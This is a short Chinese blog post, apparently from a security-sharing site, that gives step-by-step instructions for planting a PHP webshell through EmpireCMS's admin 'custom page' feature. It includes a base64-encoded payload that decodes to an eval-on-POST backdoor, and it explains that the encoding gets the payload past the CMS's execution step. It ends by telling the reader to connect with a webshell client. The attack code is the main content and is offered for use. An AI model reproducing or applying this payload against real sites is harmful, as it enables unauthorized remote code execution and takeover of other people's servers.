帝国cms最新版本后台拿webshell方法

没穿底裤 2019年12月31日22:59:29评论683 views1字数 316阅读1分3秒阅读模式
摘要

自定义页面-增加自定义页面-随便写了xxx.php文件名,页面内容填写,如果内容直接添一句话或者php大马是无用的,,因为他会生成xxx.php前先给你执行!!

自定义页面-增加自定义页面-随便写了xxx.php文件名,页面内容填写,

<script language="php">echo base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=");</script>

如果内容直接添一句话或者php大马是无用的,,因为他会生成xxx.php前先给你执行!!

PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=  就是 <?php @eval($_POST['cmd']);?> 的base64加密。

所以生成xxx.php后 会出现内容 <?php @eval($_POST['cmd']);?> 在文件里,然后用菜刀直接连接吧!!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日22:59:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帝国cms最新版本后台拿webshell方法http://cn-sec.com/archives/75134.html

发表评论

匿名网友 填写信息